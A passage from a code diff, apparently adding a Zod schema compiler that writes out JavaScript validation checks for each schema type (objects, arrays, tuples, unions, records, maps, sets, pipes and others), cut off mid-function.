+ case "null": + typeAccessor = generateNullCheck(doc, accessor); + break; + case "any": + case "unknown": + typeAccessor = accessor; + break; + case "never": + doc.write("return INVALID;"); + typeAccessor = accessor; + break; + case "void": + typeAccessor = generateVoidCheck(doc, accessor); + break; + case "nan": + typeAccessor = generateNaNCheck(doc, accessor); + break; + case "date": + typeAccessor = generateDateCheck(doc, accessor); + break; + case "object": + typeAccessor = generateObjectCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "optional": + typeAccessor = generateOptionalCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "nullable": + typeAccessor = generateNullableCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "array": + typeAccessor = generateArrayCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "literal": + typeAccessor = generateLiteralCheck(doc, ctx, schema, accessor); + break; + case "enum": + typeAccessor = generateEnumCheck(doc, ctx, schema, accessor); + break; + case "readonly": { + const innerOut = generateWrapperCheck(doc, ctx, schema, accessor); + const frozenVar = newVar(ctx); + doc.write(`const ${frozenVar} = Object.freeze(${innerOut});`); + typeAccessor = frozenVar; + break; + } + case "success": + generateWrapperCheck(doc, ctx, schema, accessor); + typeAccessor = "true"; + break; + case "default": + case "prefault": + typeAccessor = generateDefaultCheck(doc, ctx, schema, accessor); + break; + case "nonoptional": + typeAccessor = generateNonOptionalCheck(doc, ctx, schema, accessor); + break; + case "tuple": + typeAccessor = generateTupleCheck(doc, ctx, schema, accessor); + break; + case "union": + typeAccessor = generateUnionCheck(doc, ctx, schema, accessor); + break; + case "intersection": + typeAccessor = generateIntersectionCheck(doc, ctx, schema, accessor); + break; + case "record": + typeAccessor = generateRecordCheck(doc, ctx, schema, accessor); + break; + case "map": + typeAccessor = generateMapCheck(doc, ctx, schema, accessor); + break; + case "set": + typeAccessor = generateSetCheck(doc, ctx, schema, accessor); + break; + case "file": + typeAccessor = generateFileCheck(doc, accessor); + break; + case "template_literal": + typeAccessor = generateTemplateLiteralCheck(doc, ctx, schema, accessor); + break; + case "lazy": + typeAccessor = generateLazyCheck(doc, ctx, schema, accessor); + break; + case "pipe": + typeAccessor = generatePipeCheck(doc, ctx, schema, accessor); + break; + case "custom": + typeAccessor = generateCustomCheck(doc, ctx, schema, accessor); + break; + case "transform": + typeAccessor = generateTransformCheck(doc, ctx, schema, accessor); + break; + case "catch": + typeAccessor = generateCatchCheck(doc, ctx, schema, accessor); + break; + default: { + throw new ZodCompileUnsupportedError(`schema type ${type}`); + } + } + if (typeAccessor === null) + return null; + return generateChecks(doc, ctx, schema, typeAccessor); +} +function generateStringCheck(doc, ctx, schema, accessor, needsValue = true) { + doc.write(`if (typeof ${accessor} !== "string") return INVALID;`); + const def = schema._zod.def; + if (def.format === void 0) + return accessor; + return generateStringFormatCheck(doc, ctx, def, accessor, needsValue); +} +function generateNumberCheck(doc, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "number" || !Number.isFinite(${accessor})) return INVALID;`); + const def = schema._zod.def; + if (def.check === "number_format" && def.format) { + generateNumberFormatCheck(doc, { format: def.format }, accessor); + } + return accessor; +} +function generateBooleanCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "boolean") return INVALID;`); + return accessor; +} +function generateBigIntCheck(doc, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "bigint") return INVALID;`); + const def = schema._zod.def; + if (def.format) { + switch (def.format) { + case "int64": + doc.write(`if (${accessor} < -9223372036854775808n || ${accessor} > 9223372036854775807n) return INVALID;`); + break; + case "uint64": + doc.write(`if (${accessor} < 0n || ${accessor} > 18446744073709551615n) return INVALID;`); + break; + } + } + return accessor; +} +function generateSymbolCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "symbol") return INVALID;`); + return accessor; +} +function generateUndefinedCheck(doc, accessor) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + return accessor; +} +function generateNullCheck(doc, accessor) { + doc.write(`if (${accessor} !== null) return INVALID;`); + return accessor; +} +function generateVoidCheck(doc, accessor) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + return accessor; +} +function generateNaNCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "number" || !Number.isNaN(${accessor})) return INVALID;`); + return accessor; +} +function generateDateCheck(doc, accessor) { + doc.write(`if (!(${accessor} instanceof Date) || Number.isNaN(${accessor}.getTime())) return INVALID;`); + return accessor; +} +function generateObjectCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + doc.write(`if (typeof ${accessor} !== "object" || ${accessor} === null || Array.isArray(${accessor})) return INVALID;`); + const shape = def.shape; + const keys = Object.keys(shape); + const symbolKeys = Object.getOwnPropertySymbols(shape); + const allKeys = symbolKeys.length ? [...keys, ...symbolKeys] : keys; + const keyExpr = (k) => typeof k === "symbol" ? addConstant(ctx, k) : esc(k); + const propKey = (k) => typeof k === "symbol" ? `[${keyExpr(k)}]` : esc(k); + const propShape = shape; + if (keys.includes("__proto__")) { + throw new ZodCompileUnsupportedError('object shape key "__proto__"'); + } + const propOutputs = /* @__PURE__ */ new Map(); + for (const key of allKeys) { + const propSchema = propShape[key]; + const kx = keyExpr(key); + const inputVar = newVar(ctx); + doc.write(`const ${inputVar} = ${accessor}[${kx}];`); + if (propSchema._zod.optin !== void 0) { + const outputVar2 = newVar(ctx); + doc.write(`let ${outputVar2} = (() => {`); + doc.indented((d) => { + const outputAccessor = compileChild(d, ctx, propSchema, inputVar); + d.write(`return ${outputAccessor};`); + }); + doc.write(`})();`); + if (propSchema._zod.optout === "optional") { + doc.write(`if (${outputVar2} === INVALID) {`); + doc.indented((d) => { + d.write(`if (${kx} in ${accessor}) return INVALID;`); + d.write(`${outputVar2} = undefined;`); + }); + doc.write(`}`); + } else { + doc.write(`if (${outputVar2} === INVALID) return INVALID;`); + } + propOutputs.set(key, outputVar2); + } else { + if (requiresPresenceCheck(propSchema)) { + doc.write(`if (!(${kx} in ${accessor})) return INVALID;`); + } + const outputAccessor = compileChild(doc, ctx, propSchema, inputVar, buildsValue); + if (outputAccessor !== null) + propOutputs.set(key, outputAccessor); + } + } + const catchall = def.catchall; + let unknownKeysMode = "none"; + if (catchall) { + const catchallType = catchall._zod.def.type; + if (catchallType === "never") { + const condition = keys.map((k) => `k !== ${esc(k)}`).join(" && ") || "true"; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (${condition}) return INVALID;`); + }); + doc.write(`}`); + } else if ((catchallType === "unknown" || catchallType === "any") && !catchall._zod.def.checks?.length) { + unknownKeysMode = "passthrough"; + } else { + unknownKeysMode = "schema"; + } + } + const outputVar = newVar(ctx); + const hasConditionalKeys = allKeys.some((k) => mayOmitUndefined(propShape[k]) || dropsWhenAbsent(propShape[k])); + if (!buildsValue) { + if (unknownKeysMode === "schema") { + const knownSet = keys.length > 0 ? addConstant(ctx, new Set(keys)) : null; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (k === "__proto__") continue;`); + if (knownSet) + d.write(`if (${knownSet}.has(k)) continue;`); + const valVar = newVar(ctx); + d.write(`const ${valVar} = ${accessor}[k];`); + compileChild(d, ctx, catchall, valVar, false); + }); + doc.write(`}`); + } + return null; + } + if (!hasConditionalKeys) { + const propLiterals = allKeys.map((k) => `${propKey(k)}: ${propOutputs.get(k)}`).join(", "); + doc.write(`const ${outputVar} = { ${propLiterals} };`); + } else { + doc.write(`const ${outputVar} = {};`); + for (const k of allKeys) { + const kx = keyExpr(k); + const out = propOutputs.get(k); + if (dropsWhenAbsent(propShape[k])) { + doc.write(`if (${kx} in ${accessor}) ${outputVar}[${kx}] = ${out};`); + } else if (mayOmitUndefined(propShape[k])) { + doc.write(`if (${out} !== undefined || ${kx} in ${accessor}) ${outputVar}[${kx}] = ${out};`); + } else { + doc.write(`${outputVar}[${kx}] = ${out};`); + } + } + } + if (unknownKeysMode !== "none") { + const knownSet = keys.length > 0 ? addConstant(ctx, new Set(keys)) : null; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (k === "__proto__") continue;`); + if (knownSet) + d.write(`if (${knownSet}.has(k)) continue;`); + if (unknownKeysMode === "passthrough") { + d.write(`${outputVar}[k] = ${accessor}[k];`); + } else { + const valVar = newVar(ctx); + d.write(`const ${valVar} = ${accessor}[k];`); + const catchallOut = compileChild(d, ctx, catchall, valVar); + d.write(`${outputVar}[k] = ${catchallOut};`); + } + }); + doc.write(`}`); + } + return outputVar; +} +function generateOptionalCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + if (isExactOptional(schema)) { + return generateCheck(doc, ctx, def.innerType, accessor, buildsValue); + } + if (def.innerType._zod.optin === "defaulted") { + const outputVar2 = newVar(ctx); + const branchVar = newVar(ctx); + doc.write(`let ${outputVar2};`); + doc.write(`if (${accessor} === undefined) {`); + doc.indented((d) => { + d.write(`const ${branchVar} = (() => {`); + d.indented((d2) => { + const innerOutput = generateCheck(d2, ctx, def.innerType, accessor); + d2.write(`return ${innerOutput};`); + }); + d.write(`})();`); + d.write(`if (${branchVar} !== INVALID) ${outputVar2} = ${branchVar};`); + }); + doc.write(`} else {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar2} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar2; + } + const outputVar = buildsValue ? newVar(ctx) : null; + if (outputVar) + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} !== undefined) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor, buildsValue); + if (outputVar && innerOutput !== null) + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function isExactOptional(schema) { + return schema._zod.traits?.has("$ZodExactOptional") === true; +} +function requiresPresenceCheck(schema) { + return schema._zod.optin === void 0 && fastPathAcceptsAbsence(schema); +} +function fastPathAcceptsAbsence(schema) { + if (schema._zod.def.coerce) + return true; + const def = schema._zod.def; + switch (def.type) { + case "any": + case "unknown": + case "undefined": + case "void": + case "default": + case "prefault": + case "transform": + case "custom": + case "lazy": + return true; + case "string": + case "number": + case "boolean": + case "bigint": + case "symbol": + case "null": + case "never": + case "nan": + case "date": + case "object": + case "array": + case "tuple": + case "record": + case "map": + case "set": + case "file": + case "template_literal": + return false; + case "nonoptional": + return def.innerType ? fastPathAcceptsAbsence(def.innerType) : false; + case "literal": + return !!def.values?.includes(void 0); + case "enum": + return !!schema._zod.values?.has(void 0); + case "optional": + case "nullable": + case "readonly": + case "success": + return def.innerType ? fastPathAcceptsAbsence(def.innerType) : true; + case "catch": + return true; + case "union": + return def.options ? def.options.some(fastPathAcceptsAbsence) : true; + case "intersection": + if (!def.left || !def.right) + return true; + return fastPathAcceptsAbsence(def.left) && fastPathAcceptsAbsence(def.right); + case "pipe": + return def.in ? fastPathAcceptsAbsence(def.in) : true; + default: + return true; + } +} +function dropsWhenAbsent(schema) { + return schema._zod.optin === "optional" && schema._zod.optout === "optional"; +} +function mayOmitUndefined(schema) { + return (schema._zod.optin !== "defaulted" || schema._zod.optout === "optional") && mayOutputUndefined(schema); +} +function mayOutputUndefined(schema) { + const def = schema._zod.def; + switch (def.type) { + case "string": + case "number": + case "boolean": + case "bigint": + case "symbol": + case "null": + case "nan": + case "date": + case "object": + case "array": + case "tuple": + case "record": + case "map": + case "set": + case "file": + case "template_literal": + case "never": + case "success": + return false; + case "literal": + return !!def.values?.includes(void 0); + case "enum": + return !!schema._zod.values?.has(void 0); + case "optional": + return true; + case "nullable": + case "readonly": + case "nonoptional": + return def.innerType ? mayOutputUndefined(def.innerType) : true; + case "union": + return def.options ? def.options.some(mayOutputUndefined) : true; + case "intersection": + return !def.left || !def.right || mayOutputUndefined(def.left) || mayOutputUndefined(def.right); + case "pipe": + return def.out ? mayOutputUndefined(def.out) : true; + default: + return true; + } +} +function generateNullableCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + const outputVar = buildsValue ? newVar(ctx) : null; + if (outputVar) + doc.write(`let ${outputVar} = null;`); + doc.write(`if (${accessor} !== null) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor, buildsValue); + if (outputVar && innerOutput !== null) + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function generateSizeGate(doc, schema, size2) { + for (const [max, check3] of sizeCaps(schema._zod.def.checks)) { + doc.write(`if (${size2} > ${numericOperand(max, check3._zod.def.check)}) return INVALID;`); + } +} +function generateArrayCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + doc.write(`if (!Array.isArray(${accessor})) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.length`); + const outputVar = buildsValue ? newVar(ctx) : null; + const iVar = newVar(ctx); + const elemVar = newVar(ctx); + if (outputVar) + doc.write(`const ${outputVar} = new Array(${accessor}.length);`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${accessor}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${elemVar} = ${accessor}[${iVar}];`); + const elemOutput = compileChild(d, ctx, def.element, elemVar, buildsValue); + if (outputVar && elemOutput !== null) + d.write(`${outputVar}[${iVar}] = ${elemOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function generateLiteralCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const values2 = def.values; + if (values2.length !== 1) { + const literalSet = addConstant(ctx, new Set(values2)); + doc.write(`if (!${literalSet}.has(${accessor})) return INVALID;`); + return accessor; + } + const value = values2[0]; + if (typeof value === "number" && Number.isNaN(value)) { + const literalSet = addConstant(ctx, new Set(values2)); + doc.write(`if (!${literalSet}.has(${accessor})) return INVALID;`); + return accessor; + } + if (typeof value === "string") { + doc.write(`if (${accessor} !== ${esc(value)}) return INVALID;`); + } else if (typeof value === "number" || typeof value === "boolean") { + doc.write(`if (${accessor} !== ${value}) return INVALID;`); + } else if (value === null) { + doc.write(`if (${accessor} !== null) return INVALID;`); + } else if (value === void 0) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + } else if (typeof value === "bigint") { + doc.write(`if (${accessor} !== ${value}n) return INVALID;`); + } else { + throw new ZodCompileUnsupportedError(`literal type ${typeof value}`); + } + return accessor; +} +function generateEnumCheck(doc, ctx, schema, accessor) { + const values2 = schema._zod.values; + if (!values2) { + throw new ZodCompileUnsupportedError("enum schema without enumerated values"); + } + const enumSet = addConstant(ctx, values2); + doc.write(`if (!${enumSet}.has(${accessor})) return INVALID;`); + return accessor; +} +function generateWrapperCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + return generateCheck(doc, ctx, def.innerType, accessor); +} +function generateDefaultCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const descriptor = Object.getOwnPropertyDescriptor(schema._zod.def, "defaultValue"); + const defaultGetter = descriptor ? () => schema._zod.def.defaultValue : void 0; + if (schema._zod.def.type === "prefault") { + if (!defaultGetter) { + return generateCheck(doc, ctx, def.innerType, accessor); + } + const defaultFn = addConstant(ctx, defaultGetter); + const inputVar = newVar(ctx); + doc.write(`let ${inputVar} = ${accessor};`); + doc.write(`if (${accessor} === undefined) ${inputVar} = ${defaultFn}();`); + return generateCheck(doc, ctx, def.innerType, inputVar); + } + const outputVar = newVar(ctx); + if (defaultGetter) { + const defaultFn = addConstant(ctx, defaultGetter); + const cloneFn = addConstant(ctx, shallowClone); + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} === undefined) {`); + doc.indented((d) => { + d.write(`${outputVar} = ${cloneFn}(${defaultFn}());`); + }); + doc.write(`} else {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar} = ${innerOutput} === undefined ? ${cloneFn}(${defaultFn}()) : ${innerOutput};`); + }); + doc.write(`}`); + } else { + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} !== undefined) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + } + return outputVar; +} +function generateNonOptionalCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const innerOutput = generateCheck(doc, ctx, def.innerType, accessor); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${innerOutput};`); + doc.write(`if (${outputVar} === undefined) return INVALID;`); + return outputVar; +} +function generateTupleCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const items = def.items; + const rest = def.rest; + doc.write(`if (!Array.isArray(${accessor})) return INVALID;`); + const optinStart = getTupleOptStart2(items, "optin"); + const optoutStart = getTupleOptStart2(items, "optout"); + if (rest) { + doc.write(`if (${accessor}.length < ${optinStart}) return INVALID;`); + } else { + doc.write(`if (${accessor}.length < ${optinStart} || ${accessor}.length > ${items.length}) return INVALID;`); + } + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = [];`); + for (let i = 0; i < items.length; i++) { + const itemSchema = items[i]; + if (i >= optoutStart) { + doc.write(`if (${outputVar}.length === ${i}) {`); + doc.indented((d) => { + d.write(`if (${i} < ${accessor}.length) {`); + d.indented((d2) => { + const elemVar = newVar(ctx); + d2.write(`const ${elemVar} = ${accessor}[${i}];`); + const elemOutput = compileChild(d2, ctx, itemSchema, elemVar); + d2.write(`${outputVar}[${i}] = ${elemOutput};`); + }); + d.write(`} else {`); + d.indented((d2) => { + if (dropsWhenAbsent(itemSchema)) { + d2.write(`${outputVar}.length = ${i};`); + return; + } + const elemVar = newVar(ctx); + const branchVar = newVar(ctx); + d2.write(`const ${elemVar} = undefined;`); + d2.write(`const ${branchVar} = (() => {`); + d2.indented((d3) => { + const elemOutput = compileChild(d3, ctx, itemSchema, elemVar); + d3.write(`return ${elemOutput};`); + }); + d2.write(`})();`); + d2.write(`if (${branchVar} === INVALID || ${branchVar} === undefined) ${outputVar}.length = ${i};`); + d2.write(`else ${outputVar}[${i}] = ${branchVar};`); + }); + d.write(`}`); + }); + doc.write(`}`); + } else { + const elemVar = newVar(ctx); + doc.write(`const ${elemVar} = ${accessor}[${i}];`); + const elemOutput = compileChild(doc, ctx, itemSchema, elemVar); + doc.write(`${outputVar}[${i}] = ${elemOutput};`); + } + } + if (rest) { + const iVar = newVar(ctx); + const elemVar = newVar(ctx); + doc.write(`for (let ${iVar} = ${items.length}; ${iVar} < ${accessor}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${elemVar} = ${accessor}[${iVar}];`); + const elemOutput = compileChild(d, ctx, rest, elemVar); + d.write(`${outputVar}[${iVar}] = ${elemOutput};`); + }); + doc.write(`}`); + } + return outputVar; +} +function getTupleOptStart2(items, key) { + for (let i = items.length - 1; i >= 0; i--) { + const omittable = key === "optin" ? items[i]._zod.optin !== void 0 : items[i]._zod.optout === "optional"; + if (!omittable) + return i + 1; + } + return 0; +} +function generateUnionCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const options = def.options; + if (def.discriminator) { + return generateDiscriminatedUnionCheck(doc, ctx, def, accessor); + } + if (def.inclusive === false) { + throw new ZodCompileUnsupportedError("exclusive unions (z.xor)"); + } + if (options.length === 0) { + doc.write("return INVALID;"); + return accessor; + } + if (options.length === 1) { + return generateCheck(doc, ctx, options[0], accessor); + } + const allLiterals = options.every((opt) => opt._zod.def.type === "literal" && !opt._zod.def.checks?.length); + if (allLiterals) { + const values2 = new Set(options.flatMap((opt) => opt._zod.def.values)); + const valuesConst = addConstant(ctx, values2); + doc.write(`if (!${valuesConst}.has(${accessor})) return INVALID;`); + return accessor; + } + const outputVar = newVar(ctx); + doc.write(`let ${outputVar};`); + for (let i = 0; i < options.length; i++) { + const opt = options[i]; + if (i === 0) { + doc.write(`${outputVar} = (() => {`); + } else { + doc.write(`if (${outputVar} === INVALID) ${outputVar} = (() => {`); + } + doc.indented((d) => { + const branchOutput = generateCheck(d, ctx, opt, accessor); + d.write(`return ${branchOutput};`); + }); + doc.write(`})();`); + } + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; +} +function generateDiscriminatedUnionCheck(doc, ctx, def, accessor) { + if (def.unionFallback) { + throw new ZodCompileUnsupportedError("discriminated union with unionFallback"); + } + if (def.options.length === 0) { + doc.write("return INVALID;"); + return accessor; + } + const discVar = newVar(ctx); + const outputVar = newVar(ctx); + doc.write(`const ${discVar} = ${accessor}?.[${esc(def.discriminator)}];`); + doc.write(`let ${outputVar};`); + let firstBranch = true; + const claimed = /* @__PURE__ */ new Set(); + for (const option of def.options) { + const values2 = option._zod.propValues?.[def.discriminator]; + if (!values2 || values2.size === 0) { + throw new ZodCompileUnsupportedError("discriminated union option without static discriminator values"); + } + for (const value of values2) { + if (claimed.has(value)) { + throw new ZodCompileUnsupportedError(`duplicate discriminator value ${String(value)}`); + } + claimed.add(value); + } + const conditions = Array.from(values2, (value) => literalEquality(ctx, discVar, value)); + const prefix = firstBranch ? "if" : "else if"; + doc.write(`${prefix} (${conditions.join(" || ")}) {`); + doc.indented((d) => { + const branchOutput = generateCheck(d, ctx, option, accessor); + d.write(`${outputVar} = ${branchOutput};`); + }); + doc.write(`}`); + firstBranch = false; + } + doc.write(`else { return INVALID; }`); + return outputVar; +} +function literalEquality(ctx, accessor, value) { + if (typeof value === "string") + return `${accessor} === ${esc(value)}`; + if (typeof value === "number") { + if (Number.isNaN(value)) + return `Number.isNaN(${accessor})`; + return `${accessor} === ${value}`; + } + if (typeof value === "boolean") + return `${accessor} === ${value}`; + if (value === null) + return `${accessor} === null`; + if (value === void 0) + return `${accessor} === undefined`; + if (typeof value === "bigint") + return `${accessor} === ${value}n`; + if (typeof value === "symbol") { + const symbolConst = addConstant(ctx, value); + return `${accessor} === ${symbolConst}`; + } + throw new ZodCompileUnsupportedError(`literal discriminator value ${String(value)}`); +} +function generateIntersectionCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + ctx.definite = false; + const leftOutput = compileChild(doc, ctx, def.left, accessor); + const rightOutput = compileChild(doc, ctx, def.right, accessor); + const mergeConst = addConstant(ctx, mergeValues); + const mergedVar = newVar(ctx); + doc.write(`const ${mergedVar} = ${mergeConst}(${leftOutput}, ${rightOutput});`); + doc.write(`if (!${mergedVar}.valid) return INVALID;`); + return `${mergedVar}.data`; +} +function generateRecordCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const isPlainObjectConst = addConstant(ctx, isPlainObject); + doc.write(`if (!${isPlainObjectConst}(${accessor})) return INVALID;`); + const outputVar = newVar(ctx); + const kVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = {};`); + const recordDef = def; + const keyValues = recordDef.partial ? void 0 : def.keyType._zod.values; + if (keyValues) { + const inputKeys = []; + for (const key of keyValues) { + if (!(typeof key === "string" || typeof key === "number" || typeof key === "symbol")) { + throw new ZodCompileUnsupportedError(`record key value ${String(key)}`); + } + const inputKey = typeof key === "number" ? key.toString() : key; + if (inputKey === "__proto__") { + throw new ZodCompileUnsupportedError('record key "__proto__"'); + } + inputKeys.push(inputKey); + const keyConst = addConstant(ctx, key); + const outKey = generateCheck(doc, ctx, def.keyType, keyConst); + const valueVar = newVar(ctx); + doc.write(`const ${valueVar} = ${accessor}[${literalPropertyKey(ctx, inputKey)}];`); + const valOutput = compileChild(doc, ctx, def.valueType, valueVar); + doc.write(`${outputVar}[${outKey}] = ${valOutput};`); + } + const knownKeysConst = addConstant(ctx, new Set(inputKeys)); + doc.write(`for (const ${kVar} in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (${knownKeysConst}.has(${kVar})) continue;`); + if (recordDef.mode === "loose") { + d.write(`if (${kVar} !== "__proto__") ${outputVar}[${kVar}] = ${accessor}[${kVar}];`); + } else { + d.write(`return INVALID;`); + } + }); + doc.write(`}`); + return outputVar; + } + const keyDef = def.keyType._zod.def; + const keyIsBareString = keyDef.type === "string" && keyDef.format === void 0 && !keyDef.coerce && (keyDef.checks?.length ?? 0) === 0; + if (!keyIsBareString) { + const isLoose = def.mode === "loose"; + const keyFn = compileFn(def.keyType); + if (keyFn.definite === false) + ctx.definite = false; + const keyFast = addConstant(ctx, keyFn); + const numericConst = addConstant(ctx, number); + const outKeyVar = newVar(ctx); + emitOwnKeys(doc, ctx, accessor, kVar, (d) => { + d.write(`let ${outKeyVar} = ${keyFast}(${kVar});`); + d.write(`if (${outKeyVar} === INVALID && typeof ${kVar} === "string" && ${numericConst}.test(${kVar})) ${outKeyVar} = ${keyFast}(Number(${kVar}));`); + if (isLoose) { + d.write(`if (${outKeyVar} === INVALID) { ${outputVar}[${kVar}] = ${accessor}[${kVar}]; continue; }`); + } else { + d.write(`if (${outKeyVar} === INVALID) return INVALID;`); + } + d.write(`if (${outKeyVar} === "__proto__") continue;`); + const valueVar = newVar(ctx); + d.write(`const ${valueVar} = ${accessor}[${kVar}];`); + const valOutput = compileChild(d, ctx, def.valueType, valueVar); + d.write(`${outputVar}[${outKeyVar}] = ${valOutput};`); + }); + return outputVar; + } + emitOwnKeys(doc, ctx, accessor, kVar, (d) => { + d.write(`const ${valVar} = ${accessor}[${kVar}];`); + const valOutput = compileChild(d, ctx, def.valueType, valVar); + d.write(`${outputVar}[${kVar}] = ${valOutput};`); + }, `return INVALID;`); + return outputVar; +} +function emitOwnKeys(doc, ctx, accessor, kVar, body, onSymbol) { + const propIsEnumerableConst = addConstant(ctx, Object.prototype.propertyIsEnumerable); + const symsVar = newVar(ctx); + const keysVar = newVar(ctx); + const iVar = newVar(ctx); + doc.write(`const ${symsVar} = Object.getOwnPropertySymbols(${accessor});`); + doc.write(`const ${keysVar} = Object.getOwnPropertyNames(${accessor});`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${keysVar}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${kVar} = ${keysVar}[${iVar}];`); + d.write(`if (${kVar} === "__proto__" || !${propIsEnumerableConst}.call(${accessor}, ${kVar})) continue;`); + body(d); + }); + doc.write(`}`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${symsVar}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${kVar} = ${symsVar}[${iVar}];`); + d.write(`if (!${propIsEnumerableConst}.call(${accessor}, ${kVar})) continue;`); + if (onSymbol) + d.write(onSymbol); + else + body(d); + }); + doc.write(`}`); +} +function literalPropertyKey(ctx, key) { + if (typeof key === "string") + return esc(key); + return addConstant(ctx, key); +} +function generateMapCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + doc.write(`if (!(${accessor} instanceof Map)) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.size`); + const outputVar = newVar(ctx); + const kVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = new Map();`); + doc.write(`for (const [${kVar}, ${valVar}] of ${accessor}) {`); + doc.indented((d) => { + const keyOutput = generateCheck(d, ctx, def.keyType, kVar); + const valOutput = generateCheck(d, ctx, def.valueType, valVar); + d.write(`${outputVar}.set(${keyOutput}, ${valOutput});`); + }); + doc.write(`}`); + return outputVar; +} +function generateSetCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + doc.write(`if (!(${accessor} instanceof Set)) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.size`); + const outputVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = new Set();`); + doc.write(`for (const ${valVar} of ${accessor}) {`); + doc.indented((d) => { + const valOutput = generateCheck(d, ctx, def.valueType, valVar); + d.write(`${outputVar}.add(${valOutput});`); + }); + doc.write(`}`); + return outputVar; +} +function generateFileCheck(doc, accessor) { + doc.write(`if (!(${accessor} instanceof File)) return INVALID;`); + return accessor; +} +function generateTemplateLiteralCheck(doc, ctx, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "string") return INVALID;`); + const pattern = schema._zod.pattern; + if (pattern) { + const patternConst = addConstant(ctx, pattern); + doc.write(`${patternConst}.lastIndex = 0;`); + doc.write(`if (!${patternConst}.test(${accessor})) return INVALID;`); + } + return accessor; +} +function generateLazyCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const getterConst = addUserConstant(ctx, def.getter); + const cacheConst = addConstant(ctx, { parser: null }); + doc.write(`if (!${cacheConst}.parser) {`); + doc.indented((d) => { + d.write(`const inner = ${getterConst}();`); + d.write(`${cacheConst}.parser = function(input) {`); + d.indented((d2) => { + d2.write(`const result = inner._zod.run({ value: input, issues: [] }, {});`); + d2.write(`return result.issues.length === 0 ? result.value : INVALID;`); + }); + d.write(`};`); + }); + doc.write(`}`); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${cacheConst}.parser(${accessor});`); + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; +} +function generatePipeCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const inputOutput = generateCheck(doc, ctx, def.in, accessor); + if (def.transform) { + if (isAsyncFunction(def.transform)) { + throw new ZodCompileAsyncError("z.compile: async transforms in pipes are not supported"); + } + const transformFn = def.transform; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = transformFn(value, fakePayload); + if (result instanceof Promise) + return INVALID; + return fakePayload.issues.length === 0 ? result : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const transformedVar = newVar(ctx); + doc.write(`const ${transformedVar} = ${helperConst}(${inputOutput});`); + doc.write(`if (${transformedVar} === INVALID) return INVALID;`); + return generateCheck(doc, ctx, def.out, transformedVar); + } else { + return generateCheck(doc, ctx, def.out, inputOutput); + } +} +function isAsyncFunction(fn) { + return typeof fn === "function" && (fn.constructor.name === "AsyncFunction" || fn[Symbol.toStringTag] === "AsyncFunction"); +} +function generateCustomCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (def.fn) { + if 